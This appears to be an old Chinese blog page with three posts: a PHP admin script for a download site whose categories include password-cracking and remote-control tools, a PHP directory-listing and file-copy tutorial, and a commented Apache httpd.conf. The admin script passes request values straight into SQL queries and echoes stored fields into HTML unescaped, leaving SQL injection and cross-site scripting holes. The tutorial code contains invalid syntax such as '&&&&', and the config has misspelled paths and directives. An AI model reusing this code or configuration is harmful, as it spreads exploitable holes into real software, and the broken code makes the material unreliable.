Besser nicht beginnen als nicht beenden. QQ :15778000 E-MAIL :kernbombe@21cn.com 核弹 / KernBombe系统 : http://www.xyabc.cn/software/nuclear/kb_zh_utf8.iso
  • 一个程序下载的管理程序

    2007-07-11 10:40:21

    //管理程序chang.php源代码如下:
    <? session_start() ?>
    <? if($session_power==""||$session_power<1)
    {
    header("location: ../message.php?redirect=default.php&message=你不是理员");
    break;
    }?>
    <?require ("../opendata.php");?>
    <?
    if($step=="1")
    {
    if(!($rs=mysql_fetch_array(mysql_query("select * from download where id='".$id."'",$cn))))
       echo "提取资料出错";
    else
    {

    ?>
    <html>
    <head>
    <title>修改资料</title>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    </head><body>


    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="29"><font size="2">你的位置:<a href="../default.php">首页</a>-&gt;&gt;<a href="download.php?action=show">下载基地</a>-&gt;&gt;修改资料</font></td>
      </tr>
    </table>
    <table width="100%" border="0" cellspacing="0" cellpadding="0" height="446">
      <tr>
        <td height="335" width="77%" bgcolor="#99cc00">
          <table width="100%" border="0" cellspacing="0" cellpadding="0" height="335">
            <tr>
              <td colspan="2" height="42">&nbsp;</td>
            </tr>
            <form method="post" action="chang.php?step=2&id=<?=$id?>">
              <tr>
                <td height="35" width="19%"><font size="2">软件名称</font></td>
                <td height="35" width="81%">
                  <input name="title" value="<?=$rs["title"];?>" >
                </td>
              </tr>
              <tr>
                <td height="36" width="19%"><font size="2">软件地址</font></td>
                <td height="36" width="81%">
                  <input name="url" size="50" value="<?=$rs["url"];?>"
               >
                </td>
              </tr>
              <tr>
                <td height="34" width="19%"><font size="2">大小</font></td>
                <td height="34" width="81%"> <font size="2">
                  <input type="text" name="size" size="12" value="<?=$rs["size"]?>">
                  </font></td>
              </tr>
              <tr>
                <td height="42" width="19%">
                  <div align="left"><font size="2">分类</font></div>
                </td>
                <td height="42" width="81%"><font size="2">
    <select name="type">
                    <option <?if($rs["type"]==1) echo "selected"; ?> value="1">密码破解</option>
                    <option <?if($rs["type"]==2) echo "selected"; ?> value="2">远程控制</option>
                    <option <?if($rs["type"]==3) echo "selected"; ?> value="3">端口扫描</option>
                    <option <?if($rs["type"]==4) echo "selected"; ?> value="4">字典工具</option>
                    <option <?if($rs["type"]==5) echo "selected"; ?> value="5">系统安全</option>
                    <option <?if($rs["type"]==6) echo "selected"; ?> value="6">各种炸弹</option>
                    <option <?if($rs["type"]==7) echo "selected"; ?> value="7">加密软件</option>
                    <option <?if($rs["type"]==8) echo "selected"; ?> value="8">源代码</option>
                    <option <?if($rs["type"]==9) echo "selected"; ?> value="9">其它软件</option>
                  </select>
                  </font> </td>
              </tr>
              <tr>
                <td height="31" width="19%"><font size="2">简介:</font></td>
                <td height="31" width="81%">
                  <textarea name="say" cols="50" rows="10"><?=$rs["say"];?></textarea>
                </td>
              </tr>
              <tr>
                <td height="37" colspan="2">
                  <div align="center">
                    <input type="submit" value="搞定" name="submit">
                  </div>
                </td>
              </tr>
            </form>
          </table>
        </td>
      </tr>
    </table>
    </body>
    </html>
    <?
    }
    }
    if($step=="2")
    {
    mysql_query("update download set title='".$title."', say='".$say."',url='".$url."',size='".$size."',type='".$type."' where id=".$id,$cn);
    header("location:download.php?action=show&type=$type");
    }
    ?>

     

    ---------------------------------------------------
    核弹 / KernBombe (音译:卡邦) 系统
  • PHP开发文件系统实例讲解

    2007-07-11 10:18:51

    PHP中有许多与文件系统有关的函数,这些函数不仅可以打开文件,还可以显示目录中的内容、移动文件和其他一些功能,许多人甚至用PHP开发基于互联网的文件资源管理器。

    下面的脚本样例可以显示一个目录清单,注释已经包含在代码中:

    <? /?把要读取的目录的全路径名存入一个名字为$dir_name的变量中。/
    $dir_name = "/home/me/";
    /? 创建一个句柄,其值是打开一个给定目录的结果?/
    $dir = opendir($dir_name);
    /? 建立一个文字块,用以放置列表元素(文件名字)?/
    $file_list = "<ul>";
    /? 使用一个while语句,读取已经打开的目录中的所有元素,如果文件的名字不是“.”或“..”,则显示列表中的名字/
    while ($file_name = readdir($dir)) {
    if (($file_name != ".") &&&& ($file_name != "..")) {
    $file_list .= "<li>$file_name";
    }
    }
    $file_list .= "</ul>";
    /?关闭打开的目录,结束PHP模块?/
    closedir($dir);
    ?>
    <!-- Start your HTML -->
    <HTML>
    <HEAD>
    <TITLE>Directory Listing</TITLE>
    </HEAD>
    <BODY>
    <!-- Use PHP to print the name of the directory you read -->
    <P>Files in: <? echo "$dir_name"; ?></p>
    <!-- Use PHP to print the directory listing -->
    <? echo "$file_list"; ?>
    </BODY>
    </HTML>

    好了,我们已经得到了一个目录清单。需要注意的是,要读取一个文件(稍后我们将进行讲解)或目录的内容,PHP运行的系统上的用户必须至少有读取文件的权限。

    下面是一个如何拷贝文件的例子:

    <? /?把你要拷贝的源文件的全路径赋给一个名字为$original的变量中,把拷贝的文件的全路径赋予一个名字为$copied的变量中?/
    $original = "/home/me/mydatabasedump";
    $copied = "/archive/mydatabasedumo_1010";
    /? 使用copy()函数拷贝源文件,如果拷贝没有完成则会显示一个错误信息?/
    @copy($original, $copied) or die("Couldn't copy file.");
    ?>

    这个例子是一个文件备份系统的原型。在这段脚本运行时,它把文件拷贝到一个不同的位置进行保存。稍微修改一下守护程序,就可以在一天中你指定的时刻执行它,而无需用户的干预。  
    转自:爱上技术网网站制作指南 | www.23js.net

     

     

     

     

    ---------------------------------------------------
    核弹 / KernBombe (音译:卡邦) 系统

     

  • httpd.conf中文翻译

    2007-07-05 22:46:33

    httpd.conf中文翻译


    # 基于 NCSA 服务的配置文件。
    #
    #这是Apache服务器主要配置文件。
    #它包含服务器的影响服务器运行的配置指令。
    #参见以取得关于这些指令的详细信息
    #
    #不要只是简单的阅读这些指令信息而不去理解它。
    #这里只是做了简单的说明,如果你没有参考在线文件,你就会被警告。
    #
    #这些配置指令被分为下面三个部分:
    #1. 控制整个Apache服务器行为的部分(即全局环境变量)
    #2. 定义主要或者默认服务参数的指令,也为所有虚拟主机提供默认的设置参数
    #3. 虚拟主机的设置参数
    #
    #配置和日志文件名:如果你指定的文件名以“/”开始(win32下以“dirver:/”),
    #服务器将使用绝对路径,如果文件名不是以“/”开始的,那么它将把ServerRoot
    #的值附加在文件名的前面,例如,对“logs/foo.log",如果ServerRoot的值
    #为“/usr/local/apache2”,则该文件应为“/usr/local/apache2/logs/foo.log”
    #
    ##第一区:全局环境参数
    #
    #这里设置的参数将影响整个Apache服务器的行为;
    #例如Apache能够处理的并发请求的数量等。
    #
    #ServerRoot:指出服务器保存其配置、出错和日志文件等的根目录。
    #
    #注意!如果你想要将它指定为NFS或其它网络上的位置,
    #请一定要去阅读与LockFile有关的文档(可能在
    #)。
    #这将会使你自己也能解决很多问题。
    #
    #路径的结尾不要添加斜线。
    #
    ServerRoot "/usr/loacl/apache2"

    #
    #串行访问的锁文件必须保存在本地磁盘上
    #


    #LockFile logs/accept.lock



    #ScoreBoardFile:用来保存内部服务进程信息的文件。
    #如果未指明(默认),记分板(scoreboard)将被保存在一个匿名的共享内存段中,
    #并且它不能被第三方软件所使用。
    #如果指定了,要确保不能使用两个Apache使用同一个记分板文件,
    #这个记分板文件必须保存在本地磁盘上。
    #


    #ScoreBoardFile logs/apache_runtime_status



    #
    #PidFile:记录服务器启动进程号的文件。
    #

    PidFile logs/httpd.pid


    #
    #Timeout:接收和发送前超时秒数
    #
    Timeout 300

    #
    #KeepAlive:是否允许稳固的连接(每个连接有多个请求),
    #设为"Off"则停用。
    #
    KeepAlive On

    #
    #MaxKeepAliveRequests:在稳固连接期间允许的最大请求数,
    #设为0表示无限制接入。
    #我们推荐你将其设为一个较大的值,以便提高性能
    MaxKeepAliveRequests 100

    #
    #KeepAliveTimeout:在同一个连接上从同一台客户上接收请求的秒数
    #
    KeepAliveTimeout 15

    ##
    ##Server-Pool大小设定(针对MPM的)
    ##

    # prefork MPM
    # StartServers:启动时服务器启动的进程数
    # MinSpareServers:保有的备用进程的最小数目
    # MaxSpareServers:保有的备用进程的最大数目
    # MaxClients:服务器允许启动的最大进程数
    # MaxRequestsPerChild:一个服务进程允许的最大请求数

    StartServers 5
    MinSpareServers 5
    MaxSpareServers 10
    MaxClients 150
    MaxRequestPerChild 0


    # worker MPM
    # StartServers:服务器启动时的服务进程数目
    # MaxClients:允许同时连接的最大用户数目
    # MinSpareThreads:保有的最小工作线程数目
    # MaxSpareThreads:允许保有的最大工作线程数目
    # ThreadsPerChild:每个服务进程中的工作线程常数
    # MaxRequestsPerChild:服务进程中允许的最大请求数目

    StartServers 2
    MaxClients 150
    MinSpareThreads 25
    MaxSpareThreads 75
    ThreadsPerChild 25
    MaxRequestsPerChild 0


    # perchild MPM
    # NumServers:服务进程数量
    # StartThreads:每个服务进程中的起始线程数量
    # MinSpareThreads:保有的最小线程数量
    # MaxSpareThreads:保有的最大线程数量
    # MaxThreadsPerChild:每个服务进程允许的最大线程数
    # MaxRequestsPerChild:每个服务进程允许连接的最大数量

    NumServers 5
    StartThreads 5
    MinSpareThreads 5
    MaxSpareThreads 10
    MaxThreadsPerChild 20
    MaxRequestsPerChild 0


    # WinNT MPM
    # ThreadsPerChild:服务进程中工作线程常数
    # MaxRequestsPerChild:服务进程允许的最大请求数

    ThreadsPerChild 250
    MaxRequestsPerChild 0


    # BeOS MPM
    # StartThreads:服务器启动时启动的线程数
    # MaxClients:可以启动的最大线程数(一个线程等于一个用户)
    # MaxRequestsPerThread:每个线程允许的最大请求数

    StartThreads 10
    MaxClients 50
    MaxRequestsPerThread 10000


    # NetWare MPM
    # ThreadStachSize:为每个工作线程分配的堆栈尺寸
    # StartThreads:服务器启动时启动的线程数
    # MinSpareThreads:用于处理实发请求的空闲线程数
    # MaxSpareThreads:空闲线程的最大数量
    # MaxThreads:在同一时间活动的最大线程数
    # MaxRequestPerChild:一个线程服务请求的最大数量,
    # 推荐将其设置为0,以实现无限制的接入

    ThreadStackSize 65536
    StartThreads 250
    MinSpareThreads 25
    MaxSpareThreads 250
    MaxThreads 1000
    MaxRequestPerChild 0


    # OS/2 MPM
    # StartServers:启动的服务进程数量
    # MinSpareThreads:每个进程允许的最小空闲线程
    # MaxSpareThreads:每个进程允许的最大空闲线程
    # MaxRequestsPerChild:每个服务进程允许的最大连接数

    StartServers 2
    MinSpareThreads 5
    MaxSpareThreads 10
    MaxRequestsPerChild 0


    #
    # Listen:允许你绑定Apache服务到指定的IP地址和端口上,以取代默认值
    # 参见指令
    # 使用如下命令使Apache只在指定的IP地址上监听,
    # 以防止它在IP地址0.0.0.0上监听
    #
    # Listen 12.34.56.78:80

    Listen 80

    #
    # 动态共享支持(DSO)
    #
    # 为了能够使用那些以DSO模式编译的模块中的函数,你必须有相应的“LoadModule”行,
    # 因此,在这里包含了这些指令,以便能在使用它之前激活。
    # 那些静态编译的模块不需要在这里列出 (即以“httpd -l”列出的模块)
    #
    # 示例:
    # LoadModule foo_module modules/mod_foo.so
    #

    #
    # ExtendedStatus:当调用“server-status”时,控制Apache是产生“全”状态
    # 信息(ExtendedStatus On),还是产生基本信息(ExtendedStatus Off)。
    # 默认为off
    #
    # ExtendedStatus On

    ### 第二区:“主”服务配置
    #
    # 这一区建立被 “主” 服务器用的指令值,以回应那些不被
    # 定义处理的任何请求。
    # 这些数值也提供默认值给后面定义的容器。
    # 如果中有定义,那么这里定义的指令值将被
    # 中的定义所覆盖。
    #



    #
    # 如果你想使httpd以另外的用户或组来运行,你必须在开始时以root方式启动
    # 然后再将它切换为你想要使用的用户或组。
    #
    # User/Group:运行httpd的用户和组
    # 在SCO (ODT3)上使用“User nouser”和“Group nogroup”
    # 在HPUX上,你可能不能以nobody身份使用共享内存,建议创建一个www用户。
    # 注意一些核心(kernel)在组ID大于60000时拒绝setgid(Group)或semctl(IPC_SET),
    #节在这些系统上不要使用“Group #-1”。
    #
    User nobody
    Group #-1



    #
    # ServerAdmin:你的邮件地址,当发生问题时Apache将向你发出邮件。
    # 作为一个出错文档,这个地址显示在server-generated页上,
    # 例如:admin@your-domain.com
    #
    ServerAdmin kreny@sina.com

    #
    # ServerName指定Apache用于识别自身的名字和端口号。
    # 通常这个值是自动指定的,但是我们推荐你显式的指定它以防止启动时出错
    #
    # 如果你为你的主机指定了一个无效的DNS名,server-generated重定向将不能工作。
    # 参见UseCanonicalName指令
    #
    # 如果你的主机没有注册DNS名,在这里键入它的IP地址
    # 无论如何,你必须使用它的IP地址来提供服务,
    # 这里使用一种容易理解的方式重定向服务
    ServerName www.dalouis.com:80

    #
    # UseCanonicalName:决定Apache如何构造URLS和 SERVER_NAME 和 SERVER_PORT 的指令。
    # 当设置为 “Off”时,Apache会使用用户端提供的主机名和端口号。
    # 当设置为“On”,Apache会使用ServerName指令的值。
    #
    UseCanonicalName Off

    #
    # DocumentRoot:你的文档的根目录。默认情况下,所有的请求从这个目录进行应答。
    # 但是可以使用符号链接和别名来指向到其他的位置。
    #
    DocumentRoot "/home/redhat/public_html"

    #
    # Apache可以存取的每个目录都可以配置存取权限(包括它的子目录)。
    #
    # 首先,我们配置一个高限制的特征。

    # 这将禁止访问文件系统所在的目录,并添加你希望允许访问的目录块。
    # 如下所示

    Order Deny,Allow
    Deny from all


    #
    # 注意从这里开始你一定要明确地允许哪些特别的特征能够被使用。
    # - 所以,如果Apache没有象你所期待的那样工作的话,
    # 请检查你是否在下面明确的指定它可用。
    #

    #
    # 这将改变到你设置的DocumentRoot
    #


    #
    # Options:这个指令的值可以是“None”,“All”,或者下列选项的任意组合:
    # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # 注意,“MultiViews”必须被显式的指定,“Options All”不能为你提供这个特性。
    #
    # 这个指令既复杂又重要,请参见
    #“http://httpd.apache.org/docs-2.0/mod...��的信息。
    #
    Options FollowSymLinks

    #
    # AllowOverride控制那些被放置在.htaccess文件中的指令。
    # 它可以是“All”,“None”,或者下列指令的组合:
    # Options FileInfo AuthConfig Limit
    #
    AllowOverride None

    #
    # 控制谁可以获得服务。
    #
    Order allow,deny
    Allow from all



    #
    # UserDir:指定在得到一个~user请求时将会添加到用户home目录后的目录名。
    #

    UserDir public_html

    # 为防止在UserDir指令上的漏洞,对root用户设置
    # 象“./”这样的UserDir是非常有用的。
    # 如果你使用Apache 1.3或以上版本,我们强烈建议你
    # 在你的服务器配置文件中包含下面的行

    UserDir disabled root

    #
    # 下面是一个使用UserDir指令使一个站点的目录具有只读属性的示例:
    #
    #
    # AllowOverride FileInfo AuthConfig Limit Indexes
    # Options MultiViews Indexes SymLinksIfOwnerMatch IncludeNoExec
    #
    # Order allow,deny
    # Allow from all
    #

    #
    # Order deny,allow
    # Deny from all
    #

    #


    #
    # DirectoryIndex:定义请求是一个目录时,Apache向用户提供服务的文件名
    #
    # index.html.var文件(一个类型映象文件)用于提供一个文档处理列表,
    # 出于同样的目的,也可以使用MultiViews选项,但是它会非常慢。
    #
    DirectoryIndex index.php index.html index.html.var

    #
    # AccessFileName:在每个目录中查询为目录提供附加配置指令的文件的文件名。
    # 参见AllowOverride指令。
    #
    AccessFileName .htaccess

    #
    # 下面的行防止.htaccess和.htpasswd文件被Web客户查看。
    #

    Order allow,deny
    Deny from all


    #
    # Typeconfig:定义在哪里查询mime.types文件。
    #
    TypeConfig conf/mime.types

    #
    # DefaultType:定义当不能确定MIME类型时服务器提供的默认MIME类型。
    # 如果你的服务主要包含text或HTML文档,“text/plain”是一个好的选择;
    # 如果大多是二进制文档,诸如软件或图像,你应使用
    # “application/octer-stream”来防止浏览器象显示文本那样显示二进制文件。
    #
    DefaultType text/plain

    #
    # mod_mime_magic允许服务器从自己定义自己类型的文件中使用不同的线索(hints),
    # 这个MIMEMagicFile指令定义hints定义所在的文件。
    #

    MIMEMagicFile conf/magic


    #
    # HostnameLookups:指定记录用户端的名字还是IP地址,例如,本指令为on时
    # 记录主机名,如http://www.apache.org;为off时记....62.129.132。
    # 默认值为off,这要比设为on好得多,因为如果设为on则每个用户端请求都将会
    # 至少造成对 nameserver 进行一次查询。
    #
    HostnameLookups Off

    #
    # EnableMMAP:控制是否进行内存转储(如果操作系统支持的话)。
    # 默认为on,如果你的服务器安装在网络文件系统上(NFS),请关闭它。
    # 在一些系统上,关闭它会提升系统性能(与文件系统类型无关);
    # 具体情况请参阅http://httpd.apache.org/docs-2.0/mod...tml#enablemmap
    #
    # EnableMMAP off

    #
    # EnableSendfile:控制是否使用sendfile kernel支持发送文件
    # (如果操作系统支持的话)。默认为on,如果你的服务器安装在网络文件系统
    # (NFS)上,请你关闭它。
    # 参见http://httpd.apache.org/docs-2.0/mod...enablesendfile
    #
    # EnableSendfile off

    #
    # ErrorLog:错误日志文件定位。
    # 如果你没有在内定义ErrorLog指令,这个虚拟主机的错误信息
    # 将记录在这里。如果你在那儿定义了ErrorLog,这些错误信息将记录在你所
    # 定义的文件里,而不是这儿定义的文件。
    #
    ErrorLog logs/error_log

    #
    # LogLevel:控制记录在错误日志文件中的日志信息数量。
    # 可能的值包括:debug,info,notice,warn,error,crit,alert,emerg。
    #
    LogLevel warn

    #
    # 下面的指令为CustomLog指令定义格式别名。
    #
    LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    LogFormat "%h %l %u %t \"%r\" %>s %b" common
    LogFormat "%{Referer}i -> %U" referer
    LogFormat "%{User-agent}i" agent

    # 你需要安装了mod_logio.c模块才能使用%I和%O。
    # LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio

    #
    # 指定接入日志文件的定位和格式(一般日志格式)。
    # 如果你没有在内定义这个指令,传输信息将记录在这里,
    # 如果你定义了这个指令,则记录在你指定的位置,而不是这儿定义的位置。
    #
    CustomLog logs/access_log common

    #
    # 如果你想要记录agent和referer信息,可以使用下面的指令
    #
    # CustomLog logs/referer_log referer
    # CustomLog logs/agent_log agent

    #
    # 如果你想要使用一个文件记录access,agent和referer信息,
    # 你可以如下定义这个指令:
    #
    # CustomLog logs/access_log combined

    #
    # ServerTokens
    # 这个指令定义包含在HTTP回应头中的信息类型。默认为“Full”,
    # 这表示在回应头中将包含模块中的操作系统类型和编译信息。
    # 可以设为列各值中的一个:
    # Full | OS | Minor | Minimal | Major | Prod
    # Full传达的信息最多,而Prod最少。
    #
    ServerTokens Full

    #
    # 随意的添加包含服务器版本和虚拟主机名字一行信息到server-generated输出页中
    # (内部错误文档,FTP目录列表,mod_status和mod_info输出等等,除了CGI错误
    # 或自定义的错误文档以外)。
    # 设为“EMail”将包含一个指向ServerAdmin的mailto:连接。
    # 可以为如下值:On | Off | EMail
    #
    ServerSignature On

    #
    # Aliases:在这时添加你需要的别名,格式如下:
    # Alias 别名 真实名
    #
    # 注意,如果你在别名的未尾包含了“/”,那么在URL中也需要包含“/”。
    # 因此,“/icons”不是这个示例中的别名。
    # 如果别名中以“/”结尾,那么真实名也必须以“/”结尾,
    # 如果别名中省略了结尾的“/”,那么真实名也必须省略。
    #
    # 我们使用别名“/icons/”来表示FancyIndexed目录列表,如果你不使用、
    # FancyIndexing,你可以注释掉它。
    #
    # Alias /icons/ "/usr/local/apache2/icons/"

    #
    # Options Indexes MultiViews
    # AllowOverride None
    # Order allow,deny
    ## Allow from all
    #


    #
    # 这将改变ServerRoot/manual。这个别名提供了手册页所在的位置,
    # 即使你改变了你的DocumentRoot。如果你对有无手册页并不在意的话,
    # 你可以注释掉它。
    #
    Alias /manual "/usr/loacl/apache2/manual"


    Options Indexes FollowSymLinks MultiViews IncludesNoExec
    AddOutputFilter Includes html
    Order allow,deny
    Allow from all


    #
    # scrīptAlias:指定包含服务脚本的目录。
    # scrīptAliases 本质上与Aliases一样,除了这里的文档在请求时做为程序处理处理以外。
    # 尾部的“/”规则与Alias一样
    #
    scrīptAlias /cgi-bin/ "/usr/loacl/apache2/cgi-bin/"

    # 这里是添加php 4支持的指令
    AddType application/x-httpd-php .php
    LoadModule php4_module modules/libphp4.so


    #
    # 添加mod_cgid.c设置,mod_cgid提供使用cgid进行通讯的UNIX套接字的
    # 脚本接口路径。
    #
    # scrīptsock logs/cgisock


    #
    # 将"/usr/local/apache2/cgi-bin"改为你的scrīptAliased指定的CGI目录,
    # 如果你配置了的话。
    #

    AllowOverride None
    Options None
    Order allow,deny
    Allow from all


    #
    # Redirect允许你告诉客户端使用存在于服务器名字空间中的文档,
    # 而不是现在的,这帮助客户定位那些改变了位置的文档。
    # 例如:
    # Redirect permanent /foo http://www.example.com/bar

    #
    # 控制server-generated目录列表显示的指令
    #

    #
    # IndexOptions:控制server-generated目录列表显示特征。
    #
    IndexOptions FancyIndexing VersionSort

    #
    # AddIcon* 指令告诉服务器不同扩展名的图象文件如何显示,
    # 只适用于FancyIndexed指令
    #
    AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
    AddIconByType (TXT,/icons/text.gif) text/
    AddIconByType (IMG,/icons/image2.gif) image/

    AddIconByType (SND,/icons/sound2.gif) audio/
    AddIconByType (VID,/icons/movie.gif) video/


    AddIcon /icons/binary.gif .bin .exe
    AddIcon /icons/binhex.gif .hqx
    AddIcon /icons/tar.gif .tar
    AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
    AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
    AddIcon /icons/a.gif .ps .ai .eps
    AddIcon /icons/layout.gif .html .shtml .htm .pdf
    AddIcon /icons/text.gif .txt
    AddIcon /icons/c.gif .c
    AddIcon /icons/p.gif .pl .py
    AddIcon /icons/f.gif .for
    AddIcon /icons/dvi.gif .dvi
    AddIcon /icons/uuencoded.gif .uu
    AddIcon /icons/scrīpt.gif .conf .sh .shar .csh .ksh .tcl
    AddIcon /icons/tex.gif .tex
    AddIcon /icons/bomb.gif core

    AddIcon /icons/back.gif ..
    AddIcon /icons/hand.right.gif README
    AddIcon /icons/folder.gif ^DIRECTORY^
    AddIcon /icons/blank.gif ^BLANKICON^

    #
    # DefaultIcon 为那些没有显式定义图标的文件提供处理
    #
    DefaultIcon /icons/unknown.gif

    #
    # AddDescrīption允许你在server-generated索引后放置一个简短的说明。
    # 只对FancyIndexed指令有效。
    # 格式:AddDescrīption "说明" 文件名
    #
    # AddDescrīption "GZIP compressed document" .gz
    # AddDescrīption "tar archive" .tar
    # AddDescrīption "GZIP compressed tar archive" .tgz

    #
    # ReadmeName指定服务器默认查找的README文件的名字,并添加到目录列表中
    #
    # HeaderName指定目录列表前缀文件的文件名
    ReadmeName README.html
    HeaderName HEADER.html

    #
    # IndexIgnore指定目录索引忽略并且不包含在列表中的文件名集合,
    # 支持shell类型的通配符。
    #
    IndexIgnore .?? ~ # HEADER README* RCS CVS ,v ,t

    #
    # AddEncoding允许你在信息传送中使用(Mosaic/X 2.1+)解压缩信息,
    # 注意:不是所有的浏览器都支持这个选项。
    # 尽管名字相似,但是下列的指令与上面的FancyIndexing定制指令不同。
    #
    AddEncoding x-compress Z
    AddEncoding x-gzip gz tgz

    #
    # DefaultLanguage和AddLanguage允许你指定文档的语言。
    # 这使你可以让用户用容易理解的语言浏览文档。
    #
    # 指定默认的语言,这意味着所有没有指定语言的包都将使用该语言。
    # 多数情况下,你也许并不想设置它,除非你确信这样做是正确的。
    # 通常,不使用确定的语言比使用错误的语言要好。
    #
    # DefaultLanguage nl
    #
    # 注意1:作为语言关键字的词缀毫无疑问是不能一样的--采用波兰
    # 文的文档(网络标准语言代码是pl)将希望使用“AddLanguage pl .po”
    # 来避免与perl脚本的一般词缀产生二义性。
    #
    # 注意2: 下面的例子举例说明在一些范例中语言的二字符缩写与它的国家
    # 的二字符缩写不相同,例如 “Danmark/dk” 和 “Danmark/da” 的比较.
    #
    # 注意3: 在 “ltz” 的情况下我们使用三字符词缀,违犯了 RFC的规定,
    # 运行中将修复它并使用RFC1766标准取得参考数据。
    #
    # Danish (da) - Dutch (nl) - English (en) - Estonian (et)
    # French (fr) - German (de) - Greek-Modern (el)
    # Italian (it) - Norwegian (no) - Norwegian Nynorsk (nn) - Korean (ko)
    # Portugese (pt) - Luxembourgeois* (ltz)
    # Spanish (es) - Swedish (sv) - Catalan (ca) - Czech(cz)
    # Polish (pl) - Brazilian Portuguese (pt-br) - Japanese (ja)
    # Russian (ru) - Croatian (hr)
    #
    AddLanguage da .dk
    AddLanguage nl .nl
    AddLanguage en .en
    AddLanguage et .et
    AddLanguage fr .fr
    AddLanguage de .de
    AddLanguage he .he
    AddLanguage el .el
    AddLanguage it .it
    AddLanguage ja .ja
    AddLanguage pl .po
    AddLanguage ko .ko
    AddLanguage pt .pt
    AddLanguage nn .nn
    AddLanguage no .no
    AddLanguage pt-br .pt-br
    AddLanguage ltz .ltz
    AddLanguage ca .ca
    AddLanguage es .es
    AddLanguage sv .sv
    AddLanguage cz .cz
    AddLanguage ru .ru
    AddLanguage tw .tw
    AddLanguage zh-tw .tw
    AddLanguage hr .hr

    # LanguagePriority允许你在会话过程中优先使用一些语言。
    #
    # 以优先次序递减的方式列出它们。我们或多或少地采用按字母排列顺序的方式
    # 排列它们。也许你想要改变这个顺序。
    LanguagePriority en da nl et fr de el it ja ko no pl pt pt-br ltz ca es sv tw

    #
    # ForceLanguagePriority 允许你为MULTIPLE CHOICES(Prefer)[在通讯的情况下]
    # 或NOT ACCEPTABLE(Fallback)[没有可接受的语言匹配的情况]提供一个结果页。
    #
    ForceLanguagePriority Prefer Fallback

    #
    # 为发送出的所有页指定默认的字符集,这总是一个好主意,并且为你的
    # web站点的国际化打开了大门,这不正是你曾经想要的吗。同样地,指定
    # 默认字符集有一些小的损害,如一个使用iso-8859-1(latin1)标准命令
    # 的页面,除非以别的方式指定例如你仅仅以显式方式声明它。
    # 也有一些与那些总是鼓励你使用默认字符集的javascropt和URL语法有关
    # 的浏览器安全原因。
    #
    #AddDefaultCharset ISO-8859-1
    AddDefaultCharse GB2312

    #
    # 一般以文件扩展名的方式使用字符集。也许你想要避免与语言扩展发生
    # 碰撞,除非你在每次改变后都做了很好的测试。
    # 参见http://www.iana.org/assignments/char...��得字符集
    # 的名字列表和它们各自的RFCs。
    #
    AddCharset ISO-8859-1 .iso8859-1 .latin1
    AddCharset ISO-8859-2 .iso8859-2 .latin2 .cen
    AddCharset ISO-8859-3 .iso8859-3 .latin3
    AddCharset ISO-8859-4 .iso8859-4 .latin4
    AddCharset ISO-8859-5 .iso8859-5 .latin5 .cyr .iso-ru
    AddCharset ISO-8859-6 .iso8859-6 .latin6 .arb
    AddCharset ISO-8859-7 .iso8859-7 .latin7 .grk
    AddCharset ISO-8859-8 .iso8859-8 .latin8 .heb
    AddCharset ISO-8859-9 .iso8859-9 .latin9 .trk
    AddCharset ISO-2022-JP .iso2022-jp .jis
    AddCharset ISO-2022-KR .iso2022-kr .kis
    AddCharset ISO-2022-CN .iso2022-cn .cis
    AddCharset Big5 .Big5 .big5
    # 对于俄语,使用了多个字符集(如何使用主要依靠客户端):
    AddCharset WINDOWS-1251 .cp-1251 .win-1251
    AddCharset CP866 .cp866
    AddCharset KOI8-r .koi8-r .koi8-ru
    AddCharset KOI8-ru .koi8-uk .ua
    AddCharset ISO-10646-UCS-2 .ucs2
    AddCharset ISO-10646-UCS-4 .ucs4
    AddCharset UTF-8 .utf8


    # 下面的字符集没有映射到一个特定的标准(iso)上,但是它们在浏览器
    # 中被广泛的支持。注意那些大写字母。
    # (它不应该,但是它是为兼容一些浏览器而做)
    #
    # 参见http://www.iana.org/assianments/character-sets以取得
    # 它们的列表。但是浏览器支持较少。
    #
    AddCharset GB2312 .gb2312 .gb
    AddCharset utf-7 .utf7
    AddCharset utf-8 .utf8
    AddCharset big5 .big5 .b5
    AddCharset EUC-TW .euc-tw
    AddCharset EUC-JP .euc-jp
    AddCharset EUC-KR .euc-kr
    AddCharset shift_jis .sjis

    #
    # AddType允许你为指定的文件类型添加或覆盖mime.types文件中配置的MIME
    #
    AddType application/x-tar .tgz
    AddType image/x-icon .ico

    #
    # AddHandler允许你映射确定的文件扩展名到“handlers”:
    # 与文件类型无关的行为。这既能编译到服务器中也可以添加到Action指令
    # 中(看下面)。
    # 为了在scrīptAliased指令指定的以外使用CGI脚本:
    #(要使它可用,你还需要在Options中添加“ExecCGI”。
    #
    # AddHandler cgi-scrīpt .cgi

    #
    # 对于那些包含他们自己的HTTP头的文件
    #
    # AddHandler send-as-is asis

    #
    # 对于server-parsed imagemap文件:
    #
    # AddHandler imap-file map

    #
    # agemap 文件:
    #
    #AddHandler imap- 文件映像

    #
    # 对于类型映像转移资源)
    #(这是默认的设定以允许Apache的“It Worked”页能多种语言分发)。
    #
    AddHandler type-map var

    #
    # 过滤器允许你在将它发送到客户端前进行处理。
    #
    # 为了在服务器端分析包含(SSI)的.shtml文档:
    # (要执行这个指令,你还需要在Options指令中添加“Includes”。)
    #
    # AddType text/html .shtml
    # AddOutputFilter INCLUDES .shtml

    #
    # Action让你定义当调用匹配的媒体文件时将要执行的脚本。这将减少
    # 那些经常使用的CGI脚本的URL路径名的重复输入。
    # 格式:Action media/type /cgi-scrīpt/location
    # 格式:Action handler-name /cgi-scrīpt/location
    #

    #
    # 可配置的错误应答有三种风格:
    # 1)plain text 2)local redirects 3) external redirects
    #
    # 一些示例:
    # ErrorDocument 500 "The server made a boo boo."
    # ErrorDocument 404 /missing.html
    # ErrorDocument 404 "/cgi-bin/missing_handler.pl"
    # ErrorDocument 402 http://www.example.com/subscrīption_info.html
    #

    #
    # 综合应用这些指令,我们可以创建一个国际化的出错应答。
    #
    # 我们使用Alias来重定向任意/error/HTTP_.html.var应答到
    # 我们的多语言错误消息集合。使用正确的文本替代它。
    #
    # 通过加入下面的行,你就能够改变这些消息的显示,而不必改变
    # HTTP_.html.var文件。
    #
